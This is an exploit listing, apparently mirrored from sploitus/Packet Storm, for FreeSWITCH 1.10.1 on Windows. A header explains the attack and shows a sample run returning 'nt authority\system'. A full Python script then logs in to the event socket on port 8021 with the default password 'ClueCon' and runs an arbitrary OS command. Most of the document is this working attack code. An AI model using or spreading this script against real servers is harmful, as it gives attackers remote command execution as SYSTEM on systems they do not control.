Exploit for FreeSWITCH 1.10.1 Command Execution

## https://sploitus.com/exploit?id=PACKETSTORM:155748
# Exploit Title: FreeSWITCH 1.10.1 - Command Execution  
# Date: 2019-12-19  
# Exploit Author: 1F98D  
# Vendor Homepage: https://freeswitch.com/  
# Software Link: https://files.freeswitch.org/windows/installer/x64/FreeSWITCH-1.10.1-Release-x64.msi  
# Version: 1.10.1  
# Tested on: Windows 10 (x64)  
#  
# FreeSWITCH listens on port 8021 by default and will accept and run commands sent to  
# it after authenticating. By default commands are not accepted from remote hosts.  
#  
# -- Example --  
# root@kali:~# ./freeswitch-exploit.py 192.168.1.100 whoami  
# Authenticated  
# Content-Type: api/response  
# Content-Length: 20  
#  
# nt authority\system  
#   
  
#!/usr/bin/python3  
  
from socket import *  
import sys  
  
if len(sys.argv) != 3:  
print('Missing arguments')  
print('Usage: freeswitch-exploit.py <target> <cmd>')  
sys.exit(1)  
  
ADDRESS=sys.argv[1]  
CMD=sys.argv[2]  
PASSWORD='ClueCon' # default password for FreeSWITCH  
  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((ADDRESS, 8021))  
  
response = s.recv(1024)  
if b'auth/request' in response:  
s.send(bytes('auth {}\n\n'.format(PASSWORD), 'utf8'))  
response = s.recv(1024)  
if b'+OK accepted' in response:  
print('Authenticated')  
s.send(bytes('api system {}\n\n'.format(CMD), 'utf8'))  
response = s.recv(8096).decode()  
print(response)  
else:  
print('Authentication failed')  
sys.exit(1)  
else:  
print('Not prompted for authentication, likely not vulnerable')  
sys.exit(1)